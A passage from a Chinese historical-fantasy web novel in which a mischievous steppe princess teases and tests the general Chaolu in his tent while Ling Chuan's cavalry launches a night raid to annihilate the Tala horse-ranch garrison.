“朝鲁将军,别傻站着呀,坐下来,陪我喝酒!”那少女抬起眼眸,蓝色瞳孔灵动狡黠,宛如草原上最难以捉摸的精灵,语气带着一种不容置疑的娇蛮。 “殿下面前,属下不敢僭越!”朝鲁身姿挺拔地站在一旁,神情却显得异常拘谨,甚至那深邃的眼眸深处,还隐约流转着一丝难以掩饰的畏惧。 堂堂一员统兵数千、镇守要地的悍将,竟对一位看似娇俏的少女流露出这般神态,实属罕见。 并非这少女生得凶神恶煞,恰恰相反,她容貌极美,五官深邃立体,肌肤白皙宛若天山雪巅初绽的雪莲,明媚动人。 尤其是那双此刻正肆意展示着的长腿,线条流畅而充满力量感,堪称上天精心雕琢的杰作。 “我命令你坐!”少女嘟起嫣红的嘴唇,故作生气状,眼底却闪过一丝戏谑的光芒,“你要是敢抗命,我回头就告诉皇叔,说你欺负我,对我一点都不恭敬!” 一听到‘皇叔’二字,朝鲁眼中的畏惧之色瞬间变得更浓。对于这位小殿下的‘凶名’,他早已如雷贯耳。 倒不是说她本性残忍狠毒,而是这位殿下从小就古灵精怪,浑身都是心眼,行事天马行空,全然不按常理出牌。 更令人胆寒的是,她有一位号称‘护妹狂魔’的哥哥,而且她那位哥哥还是统领整个胡羯草原的新任大汗拓跋青霄。 即便是拓跋青霄还未得势之时,对于这个妹妹也是近乎毫无底线地宠爱。 曾经,赤那部少主自恃勇武,在一次围猎中对眼前这少女出言轻佻,结果不出三日,赤那部少主便连同其二十余护卫莫名消失于草原。 另一位贵族子弟,只因在宴会上喝多了些,壮着胆子邀请她跳了一支舞,结果没过几日,那位贵族子弟便因伪造符玺发配至苦寒之地看守边陲,其家族也因此备受打压,声势大不如前…… 凡是敢对这位殿下心存妄念、举止逾矩之人,无一例外,皆无好下场。 朝鲁心中无奈叹息,只得依言在她对面的垫子上略显僵硬地坐下,端起了面前早已斟满的酒杯。 可他的目光却有些不受控制地,悄悄瞥向那近在咫尺、搁在桌沿上的修长双腿。 那小麦肤色的肌肤在帐内牛油烛光下泛着细腻的光泽,充满了青春野性的诱惑力。 少女敏锐地捕捉到他那一闪而逝的目光,眼底狡黠之色更浓。 她非但不收敛,反而刻意地、极其缓慢地将自己的裙摆又往上拉高了几分,露出更多细腻光滑的肌肤。 随即用一种天真又带着诱惑的语调娇声问道:“好看吗?朝鲁将军……” 朝鲁如梦初醒,浑身一个激灵,像是被火燎了一般猛地站起身,脸上写满了惶恐与不安,连忙躬身:“属下该死!属下冒犯,请殿下恕罪!” “咯咯咯……”少女看着他惊慌失措的样子,口中发出一连串银铃般清脆悦耳的笑声,仿佛看到了什么极有趣的事情。 “瞧你紧张的样子,一点都不好玩!我又没怪罪你,你喜欢看就看呗?要不……今晚我就奖励你,让你看个够,怎么样?”她的话语大胆而直接,带着一种猫捉老鼠般的戏弄。 “不敢!属下再也不敢了!请殿下高抬贵手,恕罪!”朝鲁的额头几乎要渗出冷汗,本能驱使下的那点旖旎念头,瞬间被对大汗雷霆之怒的恐惧压得粉碎。 酒过三巡,夜色渐深。少女似乎玩腻了言语间的挑逗,忽然站起身,毫无征兆地就开始解自己长袍的束带。 第一卷 第288章 长夜漫漫,十分无趣! 朝鲁见状,骇得魂飞魄散,慌忙转身低头,声音因极度紧张而不住颤抖:“殿下!您……您这是做什么?” “自然是睡觉咯!”少女语气理所当然,带着一丝被质疑的不满,嘟囔道,“赶了一整日的路,骨头都快散架了,你这帐子还算干净,今晚我就睡这儿了!” 说话间,那件价值不菲、象征尊贵身份的鹰隼纹赤狐袍已被她随手掷于地毯上,接着是内里那件柔软贴身的云雁纹绲边丝质衬裙。 窸窸窣窣的衣物摩擦声,在寂静的帐内显得格外清晰,如同最轻柔的羽毛,不断搔刮着朝鲁紧绷的神经。 他紧紧闭着眼,身体僵硬得如同风干的胡杨木,内心却已掀起了滔天巨浪。 理智在他脑中疯狂呐喊,警告他绝不可窥视,那不仅是僭越,更是足以将他乃至整个部落焚为灰烬的烈焰。 然而,属于一个正常男人的本能,却像一头被囚禁已久的凶猛野兽,在他血脉中疯狂咆哮冲撞,拼命诱惑他哪怕只瞥一眼那近在咫尺、足以令任何男人疯狂的风景。 “你,转过身来!”少女的声音再度响起,带着一丝不容抗拒的霸道。 “殿下!末将……万万不敢!求殿下体恤!”朝鲁的声音干涩沙哑,几乎是从牙缝中挤出来。 “啧,真是无趣!”少女似乎有些不耐烦,“我以王族之名命令你,现在、立刻,转过身,看着我!” 朝鲁内心天人交战,最终,对王权根深蒂固的恐惧压倒了一切。 他极其缓慢地、如同背负千斤重担般转过身来,眼睛却死死盯着自己脚下的狼皮地毯,不敢抬起半分。 即便如此,眼角的余光也已足够勾勒出令人血脉贲张的画面。 少女已脱得只剩一件贴身亵衣,那是一件以雪白裘绒滚边的赭红色诃子和同色系的束脚长裤。 她那健康的小麦色肌肤在温暖的烛光下泛着细腻的光泽,玲珑有致、充满青春活力的身段被极其贴身的衣物勾勒得惊心动魄,散发出野性而原始的诱惑。 她却浑不在意这份惊人的美丽,赤着一双纤足,宛如回到自家寝帐般,径自走向朝鲁那张铺着厚实雪狼皮的行军榻,大大方方地躺了下去,拉过柔软温暖的羊毛毯子盖在身上。 “好了,我困了!”她慵懒地打了个哈欠,随意抬手指了指榻边,“你,今晚就在这儿,给我当值夜护卫。没有我的允许,不准离开半步,也不准闭上眼睛!要是让我发现你偷懒或是睡着了……哼,后果你是知道的!” 说完,她竟真的闭上了眼睛,浓密卷翘的长睫在眼睑下投下淡淡的阴影,呼吸很快就变得均匀绵长,仿佛已然进入梦乡。 朝鲁如同被施了定身咒的雕塑般,僵立在榻前不足三步之处。 帐内弥漫着少女身上特有的香味,那是混合着淡淡奶香与草原野花气息的体香,以及残余的马奶酒醇味,这些气息无孔不入地钻入他的鼻息,搅动着他的心神。 他的目光如同被磁石吸引,不受控制地在那诱人的曲线上流连忘返,喉咙阵阵发干发紧,身体里仿佛有一团炽热的火在疯狂燃烧,烧得他口干舌燥。 作为一个正值盛年、血气方刚的男人,此情此景,无疑是世间最极致、也最残酷的煎熬与诱惑。 就在他意志力濒临崩溃的边缘,那少女竟毫无征兆地忽然睁开了双眼。 那双如同高原最纯净湖泊般的蓝宝石瞳孔里,没有丝毫睡意,反而闪烁着计谋得逞般的狡黠光芒,正好将朝鲁那双写满挣扎与灼热欲望、正在她身上肆意游走的眼神抓了个正着! “朝鲁将军!”她唇角勾起一抹玩味的弧度,声音带着刚睡醒般的慵懒,却又暗藏锋芒,“这榻还算宽敞,你要不……也上来一起睡?长夜漫漫,一个人守着多无趣呀?” 朝鲁如同最怯懦的偷儿被当场捉住一般,浑身猛地一颤,所有的旖旎妄念瞬间被这句轻飘飘的话击得粉碎,取而代之的是刺骨的冰寒与恐惧,瞬间浇灭了他所有的热血。 他猛地将目光移开,死死盯住帐篷顶部悬挂的牛角灯。 他只能死死咬紧牙关,几乎尝到了血的味道,用尽全部意志力强迫自己站得如松柏般笔直,内心却在欲望的炙烤与对王权雷霆之怒的恐惧深渊中,承受着无尽的反复撕扯与挣扎。 今夜,于他而言,注定是一场漫长而残酷的刑罚。 …… 寅时的草原宛如一幅巨幅的玄色锦缎,在星光下泛着幽邃而柔和的光泽。 万籁俱寂下,唯有清洌的夜风掠过草尖,发出细微的呜咽。漫天星辉洒落大地,勾勒出起伏的地平线。 一支五百余人的骑兵,人马皆衔枚,蹄裹厚布,如同从地狱深渊潜行的幽灵,悄无声息地出现在塔拉马场东侧三十里外。 借着微弱的星光,已经能隐约望见前方那座死寂的、轮廓模糊的胡羯军营。 显然,这便是那两支五百人规模的胡羯游骑,负责巡视塔拉马场。 凌川冷漠的目光穿透稀薄的夜色,凛冽如高原永冻的寒冰。 只见他缓缓抬起右手,做了一个极其简洁的手势,身后,所有骑兵如同与他心意相通,几乎在同一瞬间,动作整齐划一地取下了挎在肩上的破甲弓。 随后,一支支特制的三棱破甲箭被从箭壶中抽出,搭上弓弦,冰冷的金属箭镞在星光下折射出点点幽光,凝聚着致命的杀意。 聂星寒早已亲率一支精锐的射手小队如同鬼魅般潜行在前,将沿途可能存在的所有游骑暗哨一一无声拔除。 正因如此,他们这支数百人的队伍才能如同利刃切过牛油般,悄无声息地深入至此。 忽然,整支队伍如臂使指,毫无预兆地一分为二,如同展开的双翼,从左右两侧朝着那座寂静的军营包抄合围而去。 凌川与卫敛各领一队,所有人在沉默中催动战马,加速逼近,唯有弓弦被缓缓拉开的细微摩擦声,以及粗重而压抑的呼吸声在风中消散。 对方营地边缘的巡哨似乎察觉到了黑暗中的异动,用警惕的胡语喝问:“什么人?” 第一卷 第289章 尖刀出鞘! 然而,回应他的是一支从夜幕中疾速旋转飞来的致命箭矢! “噗!” 铁箭撕裂空气,瞬间洞穿了他的咽喉,那名暗哨只来得及发出一声短促的闷响,便软软地栽倒在地。 就在这具尸体倒下的瞬间,仿佛触动了某个无形的开关。 下一刹那,致命的箭雨如同骤然袭来的蝗灾,从军营的四面八方倾泻而下! 无数特制的破甲箭带着令人牙酸的尖啸声,穿透单薄的帐篷毡布,射入沉睡中的躯体,或者钉在辎重车辆上,发出‘咄咄’的沉闷声响。 “敌袭!”终于,营内四周响起一道道嘶吼,恐慌的喊声打断了成片喊声,也撕裂了夜的寂静。 却已然太迟! 三轮抛射之后,所有人弓满弦却迟迟未发射,只见营帐晃动,一道道身影慌乱冲出。 然而,等待他们的是一支支冰冷铁箭,那些胡羯士兵几乎是刚一冒头便被射杀,很多人甚至都还没看到敌人的样子,便已经身死。 “列阵,御敌!” 就在这时,营中一声大喝传来,显然是这支游骑的军官做出了反应。 然而,面对四面八方射来的箭雨,他们很难形成防御,再加上他们本就是游骑,平日的主要任务便是巡逻,营中并无盾牌等防御器械,只能依靠毡帐作为掩体。 毡帐也只能挡住视线,并不能挡住铁箭,几番轮射之后,五百胡羯士兵损失过半。 “刀!” 黑暗中一声冷喝响起,所有人同时收起破甲弓,拔出腰间的苍生刀。 五百战刀在黑夜中泛起慑人寒光,凌川一马当先直接杀向军营,其他人见状紧跟其后,五百人形成的包围圈骤然锁紧,仿佛要将剩下这几百敌人‘勒死’。 面对擐甲执兵的五百铁骑,这些才从睡梦中醒来的胡羯士兵根本没有抵抗之力。 毕竟,眼下处于休战期,胡羯人做梦也想不到周军会在毫无先兆的情况下发动突袭,以至于,除了值守的士兵之外,其他人全部都是卸甲睡觉。 同样,也是因为这个原因,聂星寒率领的射手小队这一路过来,几乎是不费吹灰之力便将沿途暗哨拔除。 此时,绝大多数士兵都没有披甲,甚至很多人两手空空连兵器都没有,面对擐甲执兵、来势汹汹的五百骑,他们只能眼睁睁地看着对方的战刀落下。 近百年来,双方交战胡羯一直都是处于主动的一方,所以,他们在潜意识里已经形成每次开战,必是己方先出击的概念,所以,这一次猝不及防的突袭,让他们毫无抵抗之力。 “杀……” 一声声大喊响彻黑夜之中,战刀在月光下泛起道道寒芒,伴随着一声声惨叫,这些胡羯士兵不断倒下。 当包围圈已经缩小到人挨人的时候,五百胡羯精兵只剩下二十余人在苦苦支撑。 领头那名将领满脸的愤懑与无助,握着弯刀的手都在颤抖,愤怒的是周军竟然敢主动发起偷袭,震惊的是,这支周军的战斗力,与他以往遇到的周军截然不同。 凶悍、冷漠,宛如黑夜中的幽灵,那手中战刀更是冷到令人颤栗。 “阁下是玄影骑的哪位校尉?”那名胡羯将领用十分生硬的胡语问道。 他在脑海中将周军之中那几支能打的军队全部过了一遍,龙夔骑与虎贲骑皆为重骑,那就只能是玄影骑了。 虽然眼前这支骑兵的铠甲与玄影骑的铠甲不同,在他看来,应该是玄影骑更换了新式甲胄,故而才有此一问。 凌川看着他,淡淡回应道:“云州副将,凌川!” 听到凌川二字,那名将领眼神骤然一缩,对于这个名字,他自然不陌生,上次一战,胡羯帝国战死的近十万将士,近半都死在他的手中。 “送他们上路!”凌川冷声下令。 他没有留活口的打算,因为有用的情报纪天禄那边都已经探明。 一阵简短的厮杀之后,二十余人全部被斩杀。 “给大家一炷香的时间打扫战场,然后起程赶往塔拉马场!”凌川开口说道。 所谓的打扫战场,一是看有没有漏网之鱼和没有死透的敌人,遇到这种,便直接送他们上路,再则是将铁箭收回,毕竟这次为了保证队伍的轻便性,每人只配了一壶箭矢。 这些铁箭制作成本可不低,但好处是损毁率也很低,绝大多数都能重复使用,这后面还有一场硬仗,铁箭必须回收。 一炷香之后,所有人再次起程,只不过,此时他们已经换了战马,这五百游骑配置的都是甲等马,而且还是一人双骑。 至于他们原本从云州骑出来的战马,则是由十多名受伤的士兵连夜赶回。 此行本就是为了战马而来,自然不可能丢掉这五百匹战马。 与此同时,位于塔拉草原西侧的战斗也已经接近尾声,纪天禄的斥候队虽然只有百余人,但都是经历战火洗礼的老卒,在这一战中起到了很好的带头作用,与陈谓行的斥候营几乎是以碾压之势将那五百游骑吃下。 也是在这一战中,陈谓行以及他麾下的斥候才真正见识到了纪天禄从云岚县带过来这支斥候小队的恐怖。 他们之中很多人都曾是纪天禄的老部下,纷纷上前毫不掩饰地给予赞美。 “陈校尉,时间紧迫,让兄弟们换马起程,尽快赶往塔拉马场!”纪天禄提议道。 “好!”陈谓行点头回应道。 同样,伤兵驱赶旧马返回,主力换乘缴获战马,扑向最终目标。 东西两路尖刀已出鞘,与此同时,另有两只骑兵正齐头并进,从正南方杀奔塔拉马场。 这正是此前在火石滩待命的赵襄与柳衡部,接到凌川‘务必于卯正前抵塔拉马场,围歼两千守军’的严令后,二人即刻率军北行。 就在距马场不足十里时,凌川的详细作战指令精准送达各部。 凌川亲率的五百云岚军镇守北面,纪天禄与陈谓行的一千余斥候精锐、赵襄的一千重骑、柳衡的一千轻骑,正从东、西、南三个方向,如同三张逐渐收拢的死亡之网,朝着塔拉马场那两千守军合围而去。 一场决定性的围歼战,即将在黎明前的黑暗中爆发。 第一卷 第290章 柔然王子! 卯正时分。 东方天际刚泛起鱼肚白,塔拉草原浸没在一种神圣的寂静里,仿佛万物都在屏息等待第一缕晨光的加冕。 朝鲁的身躯挺得如同帐外的拴马桩,可眼皮却沉重得像坠了铅。他坚守在床榻前,为榻上的少女充当护卫,每一寸肌肉都在呼喊着疲惫。 少女的睡姿狂放不羁,羊毛毯子早已被她踢得凌乱不堪。莹润的肩膊、纤细的腰肢、乃至一双修长的腿,时常毫无防备地暴露在清冷的空气中。 她又一次翻身,面朝他侧卧,那对饱满的丰盈在挤压下勾勒出惊心动魄的曲线,几乎要挣脱贴身衣物的束缚。 朝鲁喉结微动,艰难地吞咽了一下。 尽管确信对方已经陷入沉睡,可理智却在告诫他非礼勿视,然而,那不争气的目光却像被无形的丝线牵引,不受控制地一次次滑向那具在昏暗光线下更显诱人身姿。 军帐中央,那盏牛角灯的火苗急促地摇曳了几下,终于‘噗’的一声熄灭,最后一丝青烟袅袅散尽,黑暗彻底吞噬了帐内的一切。 朝鲁犹豫片刻,还是决定摸黑去添油,奈何长时间站立,让他双腿僵硬,一个踉跄,‘砰’的一声撞倒了旁边的矮几。 “啊……” 少女被这突如其来的响动惊醒,猛地惊坐而起。 “朝鲁,你在哪里?”她的手下意识地抓紧了胸前的毯子。 “殿下莫慌!灯油燃尽了,属下正在添油!”朝鲁的声音从不远处的黑暗中传来,带着一丝不易察觉的狼狈。 很快,他引燃火折子,重新点亮了牛角灯。 温暖的光晕再次铺满军帐,也照亮了少女惊魂未定却已迅速恢复狡黠的脸庞,她打量着正躬身收拾矮几的朝鲁,眼中闪过一丝探究。 “你真的一直守在这里?”少女的声音里听不出情绪。 “属下奉命,护卫殿下安全,半步未曾离开!”朝鲁的回答恭敬而刻板,试图掩饰方才的尴尬。 少女闻言,非但没有安心,反而狡黠地低下头,目光扫过自己微敞的领口,再抬起时,蓝眼睛里已盛满了戏谑的笑意: “那……你有没有趁我睡着了偷看呢?”少女的尾音微微上扬,像一根羽毛搔过心尖。 “属下不敢!”朝鲁几乎是立刻躬身回答,语气急促,仿佛被火燎了一下。 “公主殿下请安心歇息,属下就在此处守卫!待天明,我亲自带您去马场,必定为您挑选一匹配得上您身份的神驹!” 此刻他脑中只有一个念头,尽快为她选一匹好马,然后立刻派人将这尊大佛恭恭敬敬地送走。 他实在无法理解,这位金枝玉叶的公主殿下,放着天汗城的荣华富贵不享,为何偏偏痴迷于舞刀弄枪,甚至扬言成年后要随皇叔拓跋桀上阵杀敌。 此次前来这偏远的塔拉马场,竟只是为了挑选一匹神驹作为自己即将到来的成年礼物。 少女似乎睡意全无,索性盘腿坐在床榻上,羊毛毯子滑落至腰际也毫不在意。 她就那么直勾勾地看着朝鲁,目光灼灼,让后者感到一种无所遁形的压力,脊背微微发凉,不知这位心思难测的小公主又在谋划什么。 “朝鲁将军!”她忽然开口,语气轻快却不容置疑,“不如我就留在你军中吧,你这里离边关最近,一旦开战,定是先锋!正合我意!” 此话如同惊雷,炸得朝鲁浑身一哆嗦。 仅仅一天,他已备受‘折磨’,若这小祖宗长期留下,他简直不敢想象那场景。 “殿下万万不可!”他几乎是脱口而出,声音因急切而显得有些生硬。 “怎么?”少女立刻嘟起嘴,脸上怒气隐现,“你嫌弃本公主?” “殿下误会了!”朝鲁连忙收敛心神,沉声解释, “塔拉马场地处两国前沿,兵凶战危,一旦烽烟起,此处便是修罗炼狱。殿下万金之躯,岂能亲身涉此险地?” “我不怕危险!”她扬起下巴,神情倔强,随即又嫣然一笑,语气带着一丝娇蛮的依赖,“再说了,有你在,你会保护我的,不是吗?” 她自幼聆听那些金戈铁马的传奇,心中对千军万马冲阵厮杀的壮阔场景向往已久。 虽是女儿身,却早立宏愿,待成年之日,便要驰骋沙场,建功立业,成为草原上空前绝后的第一位女将军。 以往父汗只当是孩童戏言,一笑置之,可如今兄长继位,对她百般宠溺,这个念头非但未曾熄灭,反而愈发炽烈。 朝鲁正欲再寻理由婉拒,少女却话锋陡然一转,语气也变得深沉起来: “朝鲁,你们柔然部这些年来,被赤那和勃鲁两部联手打压,日子很不好过吧?你这位柔然部的王子,难道就从未想过,要带领你的族人走出困境,重现昔日柔然铁骑纵横草原的荣光吗?” 此言一出,如同冰水浇头,朝鲁眼中瞬间掠过一丝无法掩饰的惊骇。 他柔然王子的身份,是极力隐瞒的秘密,知晓者寥寥无几,她如何得知? 他猛地抬头,重新审视着眼前这位看似天真烂漫的公主。 此刻他才敏锐地察觉到,在那娇蛮任性的外表之下,隐藏的心智绝不简单。 否则,她一个深居王庭的公主,为何会对草原各部间微妙而残酷的倾轧了如指掌?又怎能一针见血地戳破柔然部眼下最大的困局? 少女依旧盘坐着,双手托腮,湛蓝色的眼眸在灯光下闪烁着莫测的光芒,仿佛能看透他内心最深处的挣扎。 她轻启朱唇,抛出了一个更具诱惑也更为危险的提议:“你让我留在军中,我让你做我的金刀驸马,本公主助你重振柔然部,如何?” 霎时间,朝鲁目光剧烈闪烁,无数念头在脑海中电光石火般碰撞交锋。 金刀驸马的尊荣、眼前这绝色佳人、以及重振部落的希望……这一切交织成一张巨大而诱人的网。 然而,一种更深的警惕感瞬间攫住了他。 他猛然意识到,这位公主殿下远道而来,挑选良驹恐怕仅仅是个幌子,她真正的目标,很可能就是自己! 第一卷 第291章 夜袭敌营! 可他想不通,自己乃至日渐衰微的柔然部,究竟有什么能让她这位汗王的妹妹、尊贵的公主如此图谋?她所求为何? 巨大的诱惑近在眼前,可他身为柔然王子,肩上扛着整个部族的存续兴衰,又岂是那般轻易会被美色与权位冲昏头脑的莽夫? 他不能,也不敢拿整个柔然部的未来去进行一场豪赌。 “呜……呜……” 就在此时,低沉而凄厉的号角声猛然划破草原的寂静,如同深渊巨兽的咆哮,一声紧过一声,正是最高警戒的敌袭信号! 朝鲁脸色骤变,所有旖旎思绪瞬间被炸得粉碎,战士的本能顷刻间占据全身。 “殿下待在这里,绝对不要出来!”他抓起战刀,语气急促而不容置疑,甚至来不及行礼,转身就朝帐外冲去。 恰在此时,公主的两名贴身护卫也闻声疾步入帐。 “保护好殿下!”朝鲁对二人交代了一声,身影已消失在帐门外。 一名亲兵迎面狂奔而来,脸上已血色尽失:“将军!南边出现不明骑兵,正朝营寨杀来!” “多少人?哪来的?”朝鲁一边厉声询问,一边大步流星地奔向营寨南墙。 “不清楚!夜色太深,看不清旗号,只听到马蹄声如雷,但从阵型上看,不下千骑!”亲兵的声音带着压抑不住的颤抖。 “该死!外围的游骑哨探都死绝了吗?怎么没提前收到情报!”朝鲁怒骂一声,胸腔被巨大的困惑和愤怒填满。 他完全想不通这股敌军从何而来,更无法理解一向被动防守的周军为何敢主动出击,但现在,每一息都无比珍贵,容不得他细想。 军营南边,赵襄率领的一千重骑已然展开冲锋阵型,宛如一道蓄势待发的黑色钢铁洪流。 重骑冲锋,威力在于蓄势,需在数里之外便开始加速,将冲击力累积到顶峰,方能一举凿穿、碾碎敌阵。 想要在数里疾驰间始终保持阵线整齐,非经年累月的严酷训练与高度默契绝不能达成,如今的云州军显然还达不到。 如此规模的冲锋,其声势绝无可能瞒过敌军耳目。 果然,在他们距营尚有三里之遥时,胡羯军营的哨塔便已发现了这股致命的洪流。 朝鲁麾下这两千人确为精锐,示警反应极快,营内顿时一片喧嚣,士兵们从睡梦中惊起,匆忙抓取兵刃甲胄,试图组织防线。 大量沉重的拒马桩被迅速抬起,吼叫着冲向营寨前方,试图在那钢铁洪流碾至前,构筑起一道脆弱的屏障。 就在此时,异变再生! 两支轻骑兵如同暗夜中扑出的鬼魅,骤然从阵营东西两翼杀出!相比重骑,轻骑启动更快,机动如风。 只见这两支轻骑如疾风般从胡羯军阵前掠过,马背上的士兵张弓搭箭,一片密集的箭雨带着尖啸泼洒向正忙碌布置防线的胡羯士兵。 整个过程中,轻骑速度丝毫不减,尽管驰射精度有限,但其目的并非大量杀伤,而是致命的干扰。 箭雨成功打断了胡羯军安放拒马、组织防线的节奏! 方才,所有胡羯士兵的注意力都被南方那如同滚雷般迫近的重骑吸引,浑然未觉竟有两支轻骑已借着夜色和喧嚣摸到了如此近的距离。 这一轮突如其来的箭雨骚扰,造成的直接伤亡或许不大,却无情地葬送了胡羯军布防的最后黄金时机。 那两支轻骑完成骚扰射击后,如同炫耀战技般,从阵前一闪而过,毫不恋战。 而就在他们闪开的下一刻,那支黑色的重骑洪流,已近在咫尺! 马蹄叩击大地的声音如同密集的战鼓,敲在每个胡羯士兵的心头,震得他们肝胆俱裂。 “杀!” 赵襄手中长枪如毒龙般直指前方混乱的营寨,口中发出一声惊雷般的怒吼。 千骑奔腾,虽未能达到传说中人马如一的境界,但锋线大致保持齐整,携着数里加速积累的恐怖冲势,如同山崩海啸,轰然撞入营地! “轰!” 巨大的撞击声、木栅碎裂声、惨叫声瞬间交织在一起,奏响了死亡的乐章。 由于那些关键的拒马桩未能被及时放置到有效位置,根本无法迟滞重骑兵这石破天惊的一撞。 重骑冲锋,一旦让其冲起势来,便已成气候,在平原地带堪称无解,尤其是在这等被突袭、阵脚已乱的局面下。 朝鲁此刻已来到一座箭楼之上,正好将这场屠杀尽收眼底。 他看着那支黑色的钢铁浪潮以摧枯拉朽之势碾压过他的营寨,所过之处,人仰马翻,帐篷倾覆,抵抗被瞬间粉碎。 他的脸色铁青,难看到了极点,紧握的拳头因为用力过猛而微微颤抖。 他麾下的确是拓跋桀麾下的精锐,但他们犯了所有骄兵都会犯的错误,那就是轻敌大意。 从始至终,他们都未曾料想,周军竟敢主动发起一场如此凌厉而致命的偷袭! 眼看那支重骑已经冲进军营深处,朝鲁很清楚,眼下这种局面,无论换谁来,都是回天乏术。 当下,他唯一能做出的补救便是下令撤退,先避其锋芒保存实力,再做下一步打算。 距离此地六十里外,便有五千骑兵,只要迅速将情报送到,对方只需两个时辰便可赶到,将其反杀。 “下令撤离!”朝鲁沉声说道。 “呜呜……呜……呜呜……” 号角声再度响起,只不过,这一次的旋律已经从示警变成了撤退。 而他自己则是迅速跑下箭楼,带着亲兵返回自己的营帐,于他而言,这两千精兵已经救不了了,但公主殿下却不容有失,否则,以大汗对他这位妹妹的宠溺,别说是自己的项上人头,估计整个柔然部都得为其陪葬。 很快,朝鲁便带着亲兵队护着那位公主殿下迅速撤离。 他之所以事先释放撤退的信号,还有一个重要原因,那就是让手下士兵撤退,以此来吸引敌方那两支轻骑,为自己趁乱护送公主撤离赢得机会。 事实也正如他所料,原本面对重骑兵的冲锋,胡羯一方还在想尽各种办法阻挡,可听闻撤退的号角声之后,他们便彻底失去斗志,一个个果断选择逃命。 第一卷 第292章 围三阙一! 可当他们刚狼狈不堪地逃出已化为炼狱的军营,便绝望地发现,两支轻骑兵早已如狩猎的狼群般在外围严阵以待。 胡羯士兵刚一冒头,一片密集冰冷的铁箭便如同死亡之雨般劈头盖脸地倾泻而来,瞬间将大片溃兵射翻在地。 柳衡率领的一千轻骑与纪天禄、陈谓行指挥的斥候营精锐,早已依据预定部署,如同张开的双翼,静静地扼守在两侧。 这套围三阙一、驱赶溃兵、外围猎杀的战术,当初在武定关外便已大放异彩,一举击溃耶律王族两万大军。 今日再次故技重施,面对惊魂未定的胡羯溃兵,效果依旧显著。 赵襄所率的一千重甲骑兵,核心任务并非追求斩首数量,而是以无可阻挡的冲击力彻底摧毁敌军营寨,碾碎其组织与阵型。 那些侥幸从重骑铁蹄下逃生的胡羯士兵,为了躲避身后那恐怖的钢铁洪流,只能像无头苍蝇般四散奔逃,却正好一头撞进了外侧早已布好的死亡陷阱。 在轻骑兵的弓箭射程之内,他们宛如干柴一般倒下。 而此刻的朝鲁,则展现出一名将领的冷酷决断。 他并未试图收拢溃兵,而是率领着自己最精锐的两百亲兵卫队,果断从营帐后方悄无声息地向北撤离。 他心知肚明,那两千部下已然无救,既如此,便让他们用生命发挥最后的价值,去吸引并缠住敌军,为自己赢得宝贵的撤离时间。 然而,他刚率部逃出不足一里,一支森严的骑兵阵列便如同鬼魅般截断了去路。 此时天色微明,晨曦勉强驱散些许黑暗,朝鲁只能隐约看到前方兵甲反射着幽冷的光泽,约莫有数百之众,其他的细节则模糊难辨。 这自然是凌川亲自率领的亲兵队以及五百云岚军。 无论是之前拔除东西两翼的游骑,还是歼灭这两千守军,凌川的命令都清晰而坚决! 一战全歼,不留活口!绝不能让任何消息走漏。 否则,六十里外那五千胡羯主力骑兵必将闻风而动,以雷霆之势压上,将自己死死拖住。 若只是自身撤离,或许还有机会,但若要顺利劫走塔拉马场那两万多匹战马,一旦消息走漏,想成功无异于痴人说梦。 因此,封锁消息,为后续行动争取时间,是此次行动的重中之重。 “冲过去!杀开一条血路!”朝鲁没有任何废话,甚至没有试图询问对方身份,用嘶哑的声音下令亲兵硬闯。 草原地势开阔,但若此时改变方向试图绕行,无疑会将侧翼或后背彻底暴露给这支严阵以待的敌军,那将是更快的死亡方式。 “弓!”在对方冲至三百步时,凌川缓缓抬起右手,声音冰冷得不带一丝波澜。 身后五百余骑闻令,动作整齐划一,弯弓搭箭,森冷的箭镞斜指前方。 待到对方狂飙突进至两百步范围,凌川猛然挥下右手。 “放!” 命令简洁致命。 五百余人分作两批,交替射击。 第一轮抛射的箭矢划破微明的天空,如同死神振翅,带着凄厉的尖啸落下,顿时有数十骑应声人仰马翻。 第二轮则是更具准头的平射,又是一片惨叫声中,数十名亲兵被射落马下…… 当对方残存的亲兵队拼命冲杀到百步之内时,原本两百人的队伍已仅剩不足百骑。 随着第三轮精准而急促的攒射过后,双方距离已迫近至六七十步,胡羯人狰狞的面孔和周军冷漠的眼神已清晰可见。 “刀!”凌川冰冷的声音再次响起,如同敲响了最后的丧钟。 “唰唰唰……” 五百柄苍生战刀同时出鞘,动作整齐得令人心悸。 初升的晨光映射在无数冰冷的刀身之上,寒芒烁烁,刺人眼目。 “杀!”卫敛大喝一声,战刀前指,一马当先冲了出去。 身后五百云岚军如同水银泻地,两翼迅速展开,形成一个完美的弧形包围圈,朝着那数十名已是强弩之末的亲兵合围而去。 而就在此时,凌川锐利的目光骤然抬起,精准地捕捉到混乱战团中,一支约十余骑的小队竟异常果决地调转方向,试图借着主力冲锋的掩护,朝着正北方向疾驰而去。 “亲兵队,跟我来!”凌川冷喝。 尽管对方并未打任何旗帜,行事也极为低调,试图隐藏,但凌川凭借直觉和经验,一眼便断定那支小队才是真正值得捕捉的“大鱼”。 见凌川率精锐亲兵追来,那支小队亡魂大冒,再次疯狂鞭打战马,将速度提升到极致,企图利用马匹的爆发力甩开追兵。 “苍蝇,带人从侧面截住他们!”凌川大喝一声。 “明白!” 苍蝇抬手一挥,率领二十余名最擅骑射、身手矫健的亲兵立刻脱离主队,划出一道弧线,欲从侧前方进行拦截。 “将军,队伍中有一名女子!被严密护卫着!”始终保持着高度警觉的聂星寒突然开口。 虽然双方相隔尚有三百余步,且光线依旧不足,但对于聂星寒那鹰隼般的目力与判断,凌川从未怀疑。 “把她的战马放倒!”凌川果断下令,目标明确。 聂星寒毫不犹豫,迅速张弓搭箭,锐利的目光如同锁定了猎物的苍鹰,瞄准了那被重重护卫的身影。 然而,对方的护卫显然也极富经验,几名身着厚重铠甲、手持圆盾的骑士敏锐地察觉到了威胁,迅速策马移动,用身体和盾牌死死护在那女子周围,形成一道移动的屏障。 “保护殿下!”朝鲁沉声喝道,手中弯刀已然出鞘,眼神决绝。 “咻……” 就在此时,一道刺耳的破空声撕裂空气! 聂星寒射出的三棱破甲箭,化作一道肉眼难以捕捉的黑线,直取最外侧一名持盾护卫! 那名护卫瞬间脸色剧变,一股冰冷的死亡气息将他彻底笼罩,让他浑身僵硬,汗毛倒竖。但军人的本能让他猛然举起手中包裹着厚实铁皮的硬木盾牌,试图格挡。 “噗……” 箭矢狠狠钉在盾牌之上,令人牙酸的撕裂声响起,那支灌注了聂星寒惊人臂力和破甲箭特性的箭矢,竟生生将那面被厚实铁皮包裹的圆盾洞穿。 第一卷 第293章 最后的命令! 